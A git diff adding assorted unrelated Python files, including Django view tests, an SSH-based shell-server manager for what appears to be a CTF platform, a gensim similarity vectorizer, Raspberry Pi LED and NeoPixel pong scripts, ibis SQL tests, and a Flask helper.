html element. (Of course, so are + normal messages, but we are clearly having the interface throw an + exception, so normal messages don't even exist in this context). + """ + interface.acquire_vessels = mock_acquire_vessels_throws_UnableToAcquireResourcesError + response = c.post('/html/get_resources', good_data, follow=True) + + assert(response.status_code == 200) + assert(response.template[0].name == 'control/myvessels.html') + assert("Unable to acquire vessels at this time" in response.content) + + + +def test_interface_throws_InsufficientUserResourcesError(): + """ + + Test behavior if interface throws InsufficientUserResourcesError. + """ + interface.acquire_vessels = mock_acquire_vessels_throws_InsufficientUserResourcesError + response = c.post('/html/get_resources', good_data, follow=True) + + assert(response.status_code == 200) + assert(response.template[0].name == 'control/myvessels.html') + assert("Unable to acquire" in response.content) + assert("vessel credit" in response.content) + + + +def test_blank_POST_data(): + """ + + Test behavior if we submit blank POST data. + """ + interface.acquire_vessels = mock_acquire_vessels + response = c.post('/html/get_resources', {}, follow=True) + + assert(response.status_code == 200) + assert(response.template[0].name == 'control/myvessels.html') + assert("This field is required" in response.content) + + + +def test_invalid_POST_data_invalid_num(): + """ + + Test behavior if we submit POST data with an invalid 'num' field. + """ + interface.acquire_vessels = mock_acquire_vessels + test_data = {'num':-5, 'env':'rand'} + response = c.post('/html/get_resources', test_data, follow=True) + + assert(response.status_code == 200) + assert(response.template[0].name == 'control/myvessels.html') + assert("Select a valid choice" in response.content) + + + +def test_invalid_POST_data_invalid_env(): + """ + + Test behavior if we submit POST data with an invalid 'env' field. + """ + interface.acquire_vessels = mock_acquire_vessels + test_data = {'num':5, 'env':'notvalid'} + response = c.post('/html/get_resources', test_data, follow=True) + + assert(response.status_code == 200) + assert(response.template[0].name == 'control/myvessels.html') + assert("Select a valid choice" in response.content) + + + +# Creates a test user in the test db, and uses the test client to 'login', +# so all views that expect @login_required will now pass the login check. +def login_test_user(): + # uses the mock get_logged_in_user function that represents a logged in user + interface.get_logged_in_user = mock_get_logged_in_user + + user = DjangoUser.objects.create_user('tester', 'test@test.com', 'testpassword') + user.save() + c.login(username='tester', password='testpassword') + + + +if __name__=="__main__": + main() \ No newline at end of file diff --git a/pool/shard000/Python/0008426_shell_servers.py b/pool/shard000/Python/0008426_shell_servers.py new file mode 100644 index 0000000000000000000000000000000000000000..21bc003738887ce46b082377b89386ed9fec7fad --- /dev/null +++ b/pool/shard000/Python/0008426_shell_servers.py @@ -0,0 +1,199 @@ +import api +import pymongo +import spur +import json + +from api.common import validate, check, WebException +from voluptuous import Schema, Required + +server_schema = Schema({ + Required("host"): check( + ("Host must be a string", [str])), + Required("port"): check( + ("Port must be a string", [str])), + Required("username"): check( + ("Username must be a string", [str])), + Required("password"): check( + ("Username must be a string", [str])), + Required("protocol"): check( + ("Protocol must be either HTTP or HTTPS", [lambda x: x in ['HTTP', 'HTTPS']])) +}, extra=True) + +def get_connection(host, port, username, password): + """ + Attempts to connect to the given server and + returns a connection. + """ + + try: + shell = spur.SshShell( + hostname=host, + username=username, + password=password, + port=port, + missing_host_key=spur.ssh.MissingHostKey.accept, + connect_timeout=10 + ) + shell.run(["echo", "connected"]) + except spur.ssh.ConnectionError as e: + raise WebException("Cannot connect to {}@{}:{} with the specified password".format(username, host, port)) + + return shell + +def ensure_setup(shell): + """ + Runs sanity checks on the shell connection to ensure that + shell_manager is set up correctly. + """ + + result = shell.run(["sudo", "shell_manager", "status"], allow_error=True) + if result.return_code == 1 and "command not found" in result.stderr_output.decode("utf-8"): + raise WebException("shell_manager not installed on server.") + +def add_server(params): + """ + Add a shell server to the pool of servers. + + Args: + params: A dict containing: + host + port + username + password + Returns: + The sid. + """ + + db = api.common.get_conn() + + validate(server_schema, params) + + if isinstance(params["port"], str): + params["port"] = int(params["port"]) + + params["sid"] = api.common.token() + db.shell_servers.insert(params) + + return params["sid"] + +def update_server(sid, params): + """ + Update a shell server from the pool of servers. + + Args: + sid: The sid of the server to update + params: A dict containing: + port + username + password + """ + + db = api.common.get_conn() + + if db.shell_servers.find_one({"sid": sid}) is None: + raise WebException("Shell server with sid '{}' does not exist.".format(sid)) + + validate(server_schema, params) + + if isinstance(params["port"], str): + params["port"] = int(params["port"]) + + db.shell_servers.update({"sid": sid}, {"$set": params}) + +def remove_server(sid): + """ + Remove a shell server from the pool of servers. + + Args: + sid: the sid of the server to be removed + """ + + db = api.common.get_conn() + + if db.shell_servers.find_one({"sid": sid}) is None: + raise WebException("Shell server with sid '{}' does not exist.".format(sid)) + + db.shell_servers.remove({"sid": sid}) + +def get_server(sid): + """ + Returns the server object corresponding to the sid provided + + Args: + sid: the server id to lookup + + Returns: + The server object + """ + + db = api.common.get_conn() + server = db.shell_servers.find_one({"sid": sid}) + if server is None: + raise WebException("Server with sid '{}' does not exist".format(sid)) + + return server + +def get_servers(): + """ + Returns the list of added shell servers. + """ + + db = api.common.get_conn() + return list(db.shell_servers.find({}, {"_id": 0})) + +def get_problem_status_from_server(sid): + """ + Connects to the server and checks the status of the problems running there. + Runs `sudo shell_manager status --json` and parses its output. + + Args: + sid: The sid of the server to check + + Returns: + A tuple containing: + - True if all problems are online and false otherwise + - The output data of shell_manager status --json + """ + + server = get_server(sid) + shell = get_connection(server['host'], server['port'], server['username'], server['password']) + ensure_setup(shell) + + output = shell.run(["sudo", "shell_manager", "status", "--json"]).output.decode("utf-8") + data = json.loads(output) + + all_online = True + + for problem in data["problems"]: + for instance in problem["instances"]: + # if the service is not working + if not instance["service"]: + all_online = False + + # if the connection is not working and it is a remote challenge + if not instance["connection"] and instance["port"] is not None: + all_online = False + + return (all_online, data) + +def load_problems_from_server(sid): + """ + Connects to the server and loads the problems from its deployment state. + Runs `sudo shell_manager publish` and captures its output. + + Args: + sid: The sid of the server to load problems from. + + Returns: + The number of problems loaded + """ + + server = get_server(sid) + shell = get_connection(server['host'], server['port'], server['username'], server['password']) + ensure_setup(shell) + + result = shell.run(["sudo", "shell_manager", "publish"]) + data = json.loads(result.output.decode("utf-8")) + api.problem.load_published(data) + + return len(data["problems"]) diff --git a/pool/shard000/Python/0008429_vectorizer.py b/pool/shard000/Python/0008429_vectorizer.py new file mode 100644 index 0000000000000000000000000000000000000000..c5e034533b6f274f7bfcd81d691d0fc248df7ea2 --- /dev/null +++ b/pool/shard000/Python/0008429_vectorizer.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + + +from gensim import corpora, models, similarities, matutils, interfaces +from sklearn.feature_extraction.text import TfidfVectorizer +from sklearn.feature_extraction import DictVectorizer +from sklearn.metrics.pairwise import cosine_similarity +from multiprocessing import Pool + +from lib.api import Similarity_API + +import numpy as np +from time import time +import codecs +import pickle +import os.path + +types=["diffusion","tweets","txt","users"] + +# MAIN : Step 1 +def compute_and_save_similarity_corpus(_path): + + # STEP 1 + print + print "Step 1 : Compute all vectors from protomemes raw corpus" + print '#'*40 + print + + tstart=time() + + # TODO : use multi processing to improve computing + # create corpus and dictionaries + types=["diffusion","tweets","txt","users"] + + for t in types: + if not has_corpus(_path,t): + corpus=get_raw_corpus_file(t,_path) + create_similarity_corpus(corpus,_path,t) + else: + print " Diffusion vector corpus already exists %s/%s.mm"%(_path,t) + print + + +# Compile corpus and dictionary +def create_similarity_corpus(_corpus,_path, _type): + + print '-'*40 + print 'Vectorizing %s',_type + print + + # compute path + my_path=_path+'/'+_type + dic_path=my_path+'.dict' + corpus_path=my_path+'.mm' + + if os.path.exists(corpus_path): + print " corpus and dict already exists %s, %s"(dict_path,corpus_path) + pass + + elif os.path.exists(dic_path) : + + print ' loading existing dictionary from %s'% dic_path + dictionary=corpora.Dictionary.load(dic_path) + + # compute number of times in each corpus + create_frequency_vectors_corpus(_corpus,dictionary,corpus_path) + + # if no dictionary exists, we have to compute dict and corpus + else: + # print type(_corpus) + print " create %s corpus and dictionary"% _type + + # create index of values + dictionary=create_dictionary(_corpus,dic_path) + + # compute number of times in each corpus + create_frequency_vectors_corpus(_corpus,dictionary,corpus_path) + +# create dictionary (index of each element) +def create_dictionary(_raw_corpus_path,_dic_path): + print " Creating dictionary for diffusion." + print ' Indexing...' + t0 = time() + + _dic_path + + # load if the file already exists + dictionary = corpora.Dictionary(c.split(", ") for c in open(_raw_corpus_path, 'rb')) + dictionary.save(_dic_path) # store the dictionary, for future reference + print " dico saved at %s " % _dic_path + + print " %d unique ids." % len(dictionary.token2id) + print " done in %fs" % (time() - t0) + print + return dictionary + +# compile corpus (vectors number of times each elements appears) +def create_frequency_vectors_corpus(_corpus,_dictionary,_corpus_path): + print ' Computing frequency vectors' + t0 = time() + + corpus_path=_corpus_path + corpus = [_dictionary.doc2bow(t.split(", ")) for t in open(_corpus, 'rb')] + corpora.MmCorpus.serialize(corpus_path, corpus) # store to disk, for later use + print " dico saved at %s " % corpus_path + + print " %d records processed." % len(corpus) + print " done in %fs" % (time() - t0) + print + # pprint(corpus) + # print corpus + +# STEP 2 : similarity between corpuses +def compute_cosine_similarities_from_corpus(_path): + + print "Step 2 : Compute cosine similarities from corpus" + print '#'*40 + print + + # modeling and transformation + # if not os.path.exists(_path+"/tfidf.mm"): + # text_corpus_to_tfidf(_path) + # else: + # print " TF-IDF corpus already processed : %s"%(_path+"/tfidf.index") + # print + + # user_to_frequency_vectors # user count + # tweets_to_binary_vectors # np.array are binary vectors already + # diffusion_to_binary_vectors # np.array are binary vectors already + + # compute similarity + if not has_indexed_file(_path,"users"): + create_similarity_index("users",_path) + else: + print " Users already indexed : %s"%(_path+"/users.index") + print + + if not has_indexed_file(_path,"diffusion"): + create_similarity_index("diffusion",_path) + else: + print " Diffusion already indexed : %s"%(_path+"/diffusion.index") + print + + if not has_indexed_file(_path,"tweets"): + create_similarity_index("tweets",_path) + else: + print " Tweets already indexed : %s"%(_path+"/tweets.index") + print + + # This is done with TF-IDF + if not has_indexed_file(_path,"tfidf"): + print " computing TF-IDF" + corpus=corpora.MmCorpus(_path+"/txt.mm") + + # train model from corpus + if not os.path.exists(_path+"/model.tfidf"): + print ' creating TF-IDF training model' + tfidf = models.TfidfModel(corpus) + tfidf.save(_path+"/model.tfidf") + print ' TF-IDF training model saved %s'%(_path+"/model.tfidf") + else : + print ' loading trained model' + tfidf = models.TfidfModel.load(_path+"/model.tfidf") + + tfidf_corpus= tfidf[corpus] + create_tfidf_similarity_index(tfidf_corpus,_path) + else: + print " TF-IDF already indexed : %s"%(_path+"/tfidf.index") + print + +# Load corpus and create +def create_similarity_index(_type,_path): + + print " creating similarity index %s"%_type + print " loading corpus from %s"%_path + corpus=corpora.MmCorpus(_path+"/"+_type+".mm") + print "",corpus + + # get number of features from dictionnary length + # if (_type == "txt"): + # dic_path=_path+"/txt.dict" + # else: + dic_path=_path+"/"+_type+".dict" + + _num_features=len(corpora.Dictionary.load(dic_path)) + print " getting similarity computed for %d"%_num_features + file_path=_path+"/"+_type+".index" + + # build the index + index = similarities.Similarity(file_path, corpus, num_features=_num_features) + index.save(file_path) + + print " similarities saved as %s"%file_path + print + + return index + # get similarities between the query and all index + # sims = index[corpus] + # corpus_txt=matutils.MmReader(_path+"/text.mm") + # corpus_twe=matutils.MmReader(_path+"/tweets.mm") + +def create_tfidf_similarity_index(_tfidf_corpus,_path): + + print " creating similarity index for txt transfromed with tf-idf" + # print " loading corpus from %s"%_path + # corpus=corpora.MmCorpus(_path+"/"+_type+".mm") + # print "",corpus + + # get number of features from dictionnary length + # if (_type == "txt"): + # dic_path=_path+"/txt.dict" + # else: + + dic_path=_path+"/txt.dict" + + _num_features=len(corpora.Dictionary.load(dic_path)) + print " getting similarity computed for %d"%_num_features + file_path=_path+"/tfidf.index" + + # build the index + index = similarities.Similarity(file_path, _tfidf_corpus, num_features=_num_features) + index.save(file_path) + +# THIS HAS BEEN MOVED TO THE Similarity API (lib/api.py) +# STEP 3 : Create similarity matrix of all files +# def create_combined_similarities_index(_path): +# print "Step 3 : Combine similarities index" +# print '#'*40 +# print + +# t0=time() + +# # save path +# combi_path=_path+"/similarities_matrix.npy" + +# # api=Similarity_API(_path) + +# # get row count +# diff_corpus=corpora.MmCorpus(_path+"/diffusion.mm") +# count=len(diff_corpus) + +# print " Starting linear combination for %d similarity measures"%count +# print " computing..." + +# # np.memmap(combi_path, dtype='float32', mode='w+', shape=(count,count)) +# # size of this will be 43959*43959*16=28.794 Go + +# # for x in range(0,10): +# # print api.get_row(x) + +# # with open(combi_path, 'w') as f: +# # # f.write(map(str,[x]) for x in range(0,count)) +# # f.write("\n".join(" ".join(map(str, api.get_row(x))) for x in range(0,count))) + +# print " similarity matrix stored as file : %s"%combi_path +# print +# print " Similarities computation done ", +# print " in %fs"%(time()-t0) +# print + +# Utils +def has_corpus(_path,_type): + corpus_path=_path+'/'+_type+'.mm' + return os.path.exists(corpus_path) + +def has_indexed_file(_path,_type): + index_path=_path+'/'+_type+'.index' + return os.path.exists(index_path) + +def get_raw_corpus_file(_type,_path): + filename=_path+"/protomemes."+_type + if os.path.exists(filename): + print " loading raw corpus from %s "%filename + return filename + else: + raise ValueError("File is not here. Try to create protomemes corpus files via lib.protomemes.create_corpus_file()") + + +# TODO : +def compute_similarities_using_multiple_processes(l): + '''process the test list elements in parallel''' + + print ' using multi-process pool' + pool = Pool() + results = pool.map(create_similarity_matrix, l) + return results + + diff --git a/pool/shard000/Python/0008431_blink_led.py b/pool/shard000/Python/0008431_blink_led.py new file mode 100644 index 0000000000000000000000000000000000000000..2b4615cb43762e96359f04365d585b2fa55eb73e --- /dev/null +++ b/pool/shard000/Python/0008431_blink_led.py @@ -0,0 +1,28 @@ +import RPi.GPIO as GPIO +import time + +# define pinout +led_green_gpio = 17 +led_red_gpio = 27 + +# setup pins +GPIO.setmode(GPIO.BCM) +GPIO.setup(led_green_gpio,GPIO.OUT) +GPIO.setup(led_red_gpio,GPIO.OUT) + +# blink the LED forever +try: + while True: + GPIO.output(led_green_gpio,GPIO.HIGH) + GPIO.output(led_red_gpio,GPIO.LOW) + time.sleep(1) + GPIO.output(led_green_gpio,GPIO.LOW) + GPIO.output(led_red_gpio,GPIO.HIGH) + time.sleep(1) +except KeyboardInterrupt: + pass + +# cleanup GPIO before closing +GPIO.output(led_green_gpio,GPIO.LOW) +GPIO.output(led_red_gpio,GPIO.LOW) +GPIO.cleanup() diff --git a/pool/shard000/Python/0008440_test_visual_algorithms_jarvis_random.py b/pool/shard000/Python/0008440_test_visual_algorithms_jarvis_random.py new file mode 100644 index 0000000000000000000000000000000000000000..15e06c61b9acab100b9e3045e5ee57c944debdec --- /dev/null +++ b/pool/shard000/Python/0008440_test_visual_algorithms_jarvis_random.py @@ -0,0 +1,38 @@ +import sys +sys.path.append('..') + +from pycompgeom import * +import time + +def wait(): + time.sleep(0.1) + +def jarvis(points): + r0 = min(points) + hull = [r0] + r = r0 + vhull = [] + while True: + u = random.choice(points) + curr_ru = VSegment2.from_endpoints(r,u,color=BLUE); wait() + for t in points: + curr_ut = VSegment2.from_endpoints(u,t,color=MAGENTA); wait() + if cw(r, u, t) or collinear(r, u, t) and between(r, t, u): + curr_ut = VSegment2.from_endpoints(u,t,color=GREEN); wait() + u = t + curr_ru = VSegment2.from_endpoints(r,u,color=BLUE); del curr_ut; wait() + else: + curr_ut = VSegment2.from_endpoints(u,t,color=RED); wait() + if u == r0: break + else: + vhull.append(VSegment2.from_endpoints(hull[-1], u, color=YELLOW)) + r = u + curr_ru = VSegment2.from_endpoints(r,u,color=BLUE); wait() + points.remove(r) + hull.append(r) + vhull.append(VSegment2.from_endpoints(hull[-1], u, color=YELLOW)); + return hull + +points = random_points(40, visual=True) +p=VPolygon2(Polygon2(jarvis(points[:])), color=GREEN) +pause() diff --git a/pool/shard000/Python/0008441_test_sql_builtins.py b/pool/shard000/Python/0008441_test_sql_builtins.py new file mode 100644 index 0000000000000000000000000000000000000000..226616b2721daf4e94423f0aa2b471b52a92d38c --- /dev/null +++ b/pool/shard000/Python/0008441_test_sql_builtins.py @@ -0,0 +1,215 @@ +# Copyright 2014 Cloudera Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import pytest + +import ibis +import ibis.expr.operations as ops +import ibis.expr.types as ir + +from ibis.tests.util import assert_equal + + +@pytest.fixture +def sql_table(): + return ibis.table([ + ('v1', 'decimal(12, 2)'), + ('v2', 'decimal(10, 4)'), + ('v3', 'int32'), + ('v4', 'int64'), + ('v5', 'float'), + ('v6', 'double'), + ('v7', 'string'), + ('v8', 'boolean') + ], 'testing') + + +@pytest.fixture(params=(ibis.coalesce, ibis.greatest, ibis.least)) +def function(request): + return request.param + + +@pytest.mark.parametrize( + 'colname', + [ + 'tinyint_col', + 'smallint_col', + 'int_col', + 'bigint_col', + 'float_col', + 'double_col', + ] +) +def test_abs(functional_alltypes, lineitem, colname): + fname = 'abs' + op = ops.Abs + + expr = functional_alltypes[colname] + _check_unary_op(expr, fname, op, type(expr)) + + expr = lineitem.l_extendedprice + _check_unary_op(expr, fname, op, type(expr)) + + +def test_group_concat(functional_alltypes): + col = functional_alltypes.string_col + + expr = col.group_concat() + assert isinstance(expr.op(), ops.GroupConcat) + arg, sep, where = expr.op().args + assert sep.equals(ibis.literal(',')) + assert where is None + + expr = col.group_concat('|') + arg, sep, where = expr.op().args + assert sep.equals(ibis.literal('|')) + assert where is None + + +def test_zeroifnull(functional_alltypes): + dresult = functional_alltypes.double_col.zeroifnull() + iresult = functional_alltypes.int_col.zeroifnull() + + assert type(dresult.op()) == ops.ZeroIfNull + assert type(dresult) == ir.FloatingColumn + + # Impala upconverts all ints to bigint. Hmm. + assert type(iresult) == type(iresult) + + +def test_fillna(functional_alltypes): + result = functional_alltypes.double_col.fillna(5) + assert isinstance(result, ir.FloatingColumn) + + assert isinstance(result.op(), ops.IfNull) + + result = functional_alltypes.bool_col.fillna(True) + assert isinstance(result, ir.BooleanColumn) + + # Highest precedence type + result = functional_alltypes.int_col.fillna(functional_alltypes.bigint_col) + assert isinstance(result, ir.IntegerColumn) + + +def test_ceil_floor(functional_alltypes, lineitem): + cresult = functional_alltypes.double_col.ceil() + fresult = functional_alltypes.double_col.floor() + assert isinstance(cresult, ir.IntegerColumn) + assert isinstance(fresult, ir.IntegerColumn) + assert type(cresult.op()) == ops.Ceil + assert type(fresult.op()) == ops.Floor + + cresult = ibis.literal(1.2345).ceil() + fresult = ibis.literal(1.2345).floor() + assert isinstance(cresult, ir.IntegerScalar) + assert isinstance(fresult, ir.IntegerScalar) + + dec_col = lineitem.l_extendedprice + cresult = dec_col.ceil() + fresult = dec_col.floor() + assert isinstance(cresult, ir.DecimalColumn) + assert cresult.type() == dec_col.type() + + assert isinstance(fresult, ir.DecimalColumn) + assert fresult.type() == dec_col.type() + + +def test_sign(functional_alltypes, lineitem): + result = functional_alltypes.double_col.sign() + assert isinstance(result, ir.FloatingColumn) + assert type(result.op()) == ops.Sign + + result = ibis.literal(1.2345).sign() + assert isinstance(result, ir.FloatingScalar) + + dec_col = lineitem.l_extendedprice + result = dec_col.sign() + assert isinstance(result, ir.DecimalColumn) + + +def test_round(functional_alltypes, lineitem): + result = functional_alltypes.double_col.round() + assert isinstance(result, ir.IntegerColumn) + assert result.op().args[1] is None + + result = functional_alltypes.double_col.round(2) + assert isinstance(result, ir.FloatingColumn) + assert result.op().args[1].equals(ibis.literal(2)) + + # Even integers are double (at least in Impala, check with other DB + # implementations) + result = functional_alltypes.int_col.round(2) + assert isinstance(result, ir.FloatingColumn) + + dec = lineitem.l_extendedprice + result = dec.round() + assert isinstance(result, ir.DecimalColumn) + + result = dec.round(2) + assert isinstance(result, ir.DecimalColumn) + + result = ibis.literal(1.2345).round() + assert isinstance(result, ir.IntegerScalar) + + +def _check_unary_op(expr, fname, ex_op, ex_type): + result = getattr(expr, fname)() + assert type(result.op()) == ex_op + assert type(result) == ex_type + + +def test_coalesce_instance_method(sql_table): + v7 = sql_table.v7 + v5 = sql_table.v5.cast('string') + v8 = sql_table.v8.cast('string') + + result = v7.coalesce(v5, v8, 'foo') + expected = ibis.coalesce(v7, v5, v8, 'foo') + assert_equal(result, expected) + + +def test_integer_promotions(sql_table, function): + t = sql_table + + expr = function(t.v3, t.v4) + assert isinstance(expr, ir.IntegerColumn) + + expr = function(5, t.v3) + assert isinstance(expr, ir.IntegerColumn) + + expr = function(5, 12) + assert isinstance(expr, ir.IntegerScalar) + + +def test_floats(sql_table, function): + t = sql_table + + expr = function(t.v5) + assert isinstance(expr, ir.FloatingColumn) + + expr = function(5.5, t.v5) + assert isinstance(expr, ir.FloatingColumn) + + expr = function(5.5, 5) + assert isinstance(expr, ir.FloatingScalar) + + +@pytest.mark.xfail(raises=AssertionError, reason='NYT') +def test_bools(): + assert False + + +@pytest.mark.xfail(raises=AssertionError, reason='NYT') +def test_decimal_promotions(): + assert False diff --git a/pool/shard000/Python/0008444_StringPong.py b/pool/shard000/Python/0008444_StringPong.py new file mode 100644 index 0000000000000000000000000000000000000000..823135cf795171ff9b3bf973cefc9a95f0244d13 --- /dev/null +++ b/pool/shard000/Python/0008444_StringPong.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python +# String Pong a Neopixel one dimensional pong - 2 player +# using the wiring RPi libiary +# By Mike Cook June 2015 + +import time, random, os +import RPi.GPIO as io +from neopixel import * + +DATA_PIN = 18 # pin connected to the NeoPixels +NUM_PIXELS = 240 # number of LEDs 240 LEDs in 4 meters +try : + io.setmode(io.BCM) + io.setwarnings(False) +except : + print"start IDLE with 'gksudo idle' from command line" + os._exit(1) + +pixels = Adafruit_NeoPixel(NUM_PIXELS,DATA_PIN,800000,5,False) + +bat1pin = 3 +bat2pin = 2 +bat1 = bat2 = 1 +serve = False +ballDir = True +toServe = 0 # player to serve next +slugLength = 5 +hitPoint1 = hitPoint2 = -1 +lastTime = time.time() +interval = 0.1 # delay between frames +insertPlace = 0 +slugCol = 5 + +red = [ 204, 0, 255, 255, 255, 255] +green = [ 102, 255, 0, 0, 153, 225] +blue = [ 0, 255, 255, 0, 153, 0] +ballSpeed = [ 0.005, 0.01, 0.015, 0.020, 0.025, 0.03 ] + +def main() : + global lastTime, interval, ballDir, insertPlace, serve, slugLength, hitPoint1,hitPoint2,slugCol + init() + while(True): + checkBat1() + checkBat2() + # advance the ball + if ((time.time() - lastTime) > interval) & serve: + lastTime = time.time() + if(ballDir) : + insertPlace += 1 + else : + insertPlace -= 1 + + if (insertPlace + slugLength) < 0 : # hit the player 1 end + insertPlace = -slugLength + ballDir = not ballDir + hitPoint2 = -1 # clear the other players hit position + if hitPoint1 == -1 or hitPoint1 > slugLength : # failed to hit or too early + endRally(0) # tidy up an wait for serve + else : + slugCol = hitPoint1 # change colour for next rally + interval = ballSpeed[slugCol] + + if insertPlace > NUM_PIXELS : # hit the player 2 end + insertPlace = NUM_PIXELS-1 + ballDir = not ballDir + hitPoint1 = -1 # clear other players hit position + if hitPoint2 == -1 or (NUM_PIXELS -1 - hitPoint2) > slugLength : # failed to hit or too early + endRally(1) # tidy up an wait for serve + else : + slugCol = NUM_PIXELS -1 - hitPoint2 # change colour for next rally + interval = ballSpeed[slugCol] + if serve : + place(insertPlace) # don't update if we have just missed the ball + +def init() : + global insertPlace, interval + print"String Pong - by Mike Cook" + print"Blue LED - you swung too soon" + print"Green LED - you swung in time" + print"No LED - you swung too late" + print"White LED - serve when you are ready" + pixels.begin() # This initializes the NeoPixel library. + setupStart() + print"Please ignore this stupid warning:-" + io.setup(bat1pin,io.IN, pull_up_down = io.PUD_UP) + io.add_event_detect(bat1pin,io.FALLING, callback=buttonPress, bouncetime=30) + io.setup(bat2pin,io.IN, pull_up_down = io.PUD_UP) + io.add_event_detect(bat2pin,io.FALLING, callback=buttonPress, bouncetime=30) + insertPlace = -slugLength + interval = ballSpeed[slugCol] + print"Player",toServe+1,"to serve" + +def buttonPress(number): #call back function + global bat1,bat2 + if number == 2: + bat2 = 0 + else : + bat1 = 0 + +def endRally(player): + global serve,toServe,bat1,bat2,interval,slugCol + print"out" + bat1 = bat2 = 1 + serve = False + time.sleep(1.0) # leave it + wipe() + pixels.show() # clear display + time.sleep(0.8) # leave blank for a time + toServe = player + print"Player",player+1,"to serve" + setupStart() + bat1 = bat2 = 1 + if ballSpeed[slugCol] == ballSpeed[0] : + slugCol = random.randint(2,5) + interval = ballSpeed[slugCol] + +def checkBat1(): + global serve, hitPoint1,hitPoint2, bat1 + if bat1 == 0 : + bat1 = 1 + if (serve==False) & (toServe == 0) : + serve=True # put ball in service + print"serve 1" + hitPoint1 = hitPoint2 = -1 + else : # trying to hit the ball + if hitPoint1 == -1 : # only record the first hit + hitPoint1 = slugLength + insertPlace + + +def checkBat2(): + global serve, hitPoint1,hitPoint2, bat2 + if bat2 == 0 : + bat2 = 1 + if (serve==False) & (toServe == 1) : + serve=True # put ball in service + print"serve 2" + hitPoint1 = hitPoint2 = -1 + else : # trying to hit the ball + if hitPoint2 == -1 : # only record the first hit + if(insertPlace != NUM_PIXELS) : + hitPoint2 = insertPlace + +def place(point): + global hitPoint1,hitPoint2 + wipe() + for i in range(0, slugLength) : # put the slug in the buffer + if (i+ point) >= 0 & ((i+ point) < NUM_PIXELS) : + pixels.setPixelColor(i+ point,Color(red[slugCol],green[slugCol],blue[slugCol])) + # set the end LEDs acording to the hit none - no hit ** blue - too soon ** green - good hit + if(hitPoint1 != -1): + if(hitPoint1 > slugLength) : + pixels.setPixelColor(0, Color(0,0,128)) + else : + pixels.setPixelColor(0, Color(0,128,0)) + + if hitPoint2 != -1 : + if hitPoint2 < ( NUM_PIXELS- 1 - slugLength) : # bat too soon + pixels.setPixelColor(NUM_PIXELS -1, Color(0,0,128)) + else : + pixels.setPixelColor(NUM_PIXELS -1, Color(0,128,0)) + pixels.show() + +def setupStart(): # set display waiting to serve + wipe() + if toServe == 0: + pixels.setPixelColor(0, Color(128,128,128)) + else : + pixels.setPixelColor(NUM_PIXELS-1, Color(128,128,128)) + pixels.show() + +def wipe(): + for i in range(0,pixels.numPixels()): + pixels.setPixelColor(i, Color(0,0,0)) + +# Main program logic follows: +if __name__ == '__main__': + main() diff --git a/pool/shard000/Python/0008447_repositories_helper.py b/pool/shard000/Python/0008447_repositories_helper.py new file mode 100644 index 0000000000000000000000000000000000000000..0014a69a8535a090cc1589617cc0c0b16af3eb0e --- /dev/null +++ b/pool/shard000/Python/0008447_repositories_helper.py @@ -0,0 +1,74 @@ +from app import app +from app.models.repository import Repository +from app.services import repositories_service as repos_service +from werkzeug.contrib.cache import SimpleCache +from flask import abort, render_template, Markup +from functools import wraps + +cache = SimpleCache() + +URL_PREFIX = '//' +TEMPLATE_PREFIX = 'repositories/' + +class RepositoryContext: + def __init__(self, url_map, repo): + self.repo = repo + self.params = {} + for url in url_map: + i = url.find(URL_PREFIX) + if i != 0: + continue + name = 'url_for_repo%s' % url[len(URL_PREFIX):].replace('/', '_') + url = url.replace('', repo.owner.username) + url = url.replace('', repo.name) + self.params[name] = url + self.params['repo'] = repo + + def render(self, path, **options): + kwargs = dict(self.params, **options) + return render_template(TEMPLATE_PREFIX + path, **kwargs) + +class RepositoriesHelper: + def __init__(self, app): + self.app = app + self.url_map = {} + + def route(self, rule, **options): + app = self.app + url_map = self.url_map + url_map[URL_PREFIX + rule] = True + + def decorator(func): + @app.route(URL_PREFIX + rule, **options) + @wraps(func) + def wrapper(username, name, *args, **kw): + repo = repos_service.get(username, name) + if repo is None: + return abort(404) + ctx = RepositoryContext(url_map, repo) + return func(ctx, *args, **kw) + return wrapper + return decorator + +@app.template_global() +def get_repos_count(): + count = cache.get('repos_count') + if count is not None: + return count + count = Repository.query.count() + cache.set('repos_count', count, 600) + return count + +@app.template_global() +def repo_link_tag(repo): + return Markup('%s/%s' % ( + repo.html_url, repo.owner.username, repo.name + )) + +@app.template_global() +def repo_logo_tag(repo): + url = repo.logo_url + if not url: + url = repo.owner.avatar_url + return Markup('' % + (repo.name, repo.name, url)) diff --git a/pool/shard000/Python/0008449_Channel.py b/pool/shard000/Python/0008449_Channel.py new file mode 100644 index 0000000000000000000000000000000000000000..a82832b48d666b39b0bfc52ef408eba8e47366b8 --- /dev/null +++ b/pool/shard000/Python/0008449_Channel.py @@ -0,0 +1,65 @@ +import asynchat +import sys, traceback +import re + +# regular expression for extracting Pd style messages +element_re = re.compile("((.*?)[^\\\]);[\r\n\ ]{0,1}", re.MULTILINE | re.DOTALL) + +class Channel(asynchat.async_chat): + endchars = '\n' + def __init__(self, conn=None, addr=(), server=None): + asynchat.async_chat.__init__(self, conn) + self.addr = addr + self._server = server + self._ibuffer = "" + self.set_terminator(self.endchars) + self.sendqueue = [] + + def collect_incoming_data(self, data): + self._ibuffer += data + + def found_terminator(self): + # split up into pd messages, ignoring the last message (whitespace or carriage return) + for found in element_re.finditer(self._ibuffer): + # trim off the semicolon and split up the data by space + data = found.group(1).split(" ") + if hasattr(self, "Incoming"): + self.Incoming(data) + else: + print "Dropped data", data + self._ibuffer = "" + + def Pump(self): + [asynchat.async_chat.push(self, d) for d in self.sendqueue] + self.sendqueue = [] + + def Send(self, data): + self.sendqueue.append(" ".join(data) + ";\n") + + def Disconnect(self): + self.close() + + def handle_connect(self): + if hasattr(self, "Connected"): + self.Connected() + else: + print "Unhandled Connected() at", self.addr + + def handle_error(self): + try: + self.close() + except: + pass + if hasattr(self, "Error"): + self.Error(sys.exc_info()[1]) + else: + asynchat.async_chat.handle_error(self) + + def handle_expt(self): + pass + + def handle_close(self): + if hasattr(self, "Close"): + self.Close() + asynchat.async_chat.handle_close(self) + diff --git 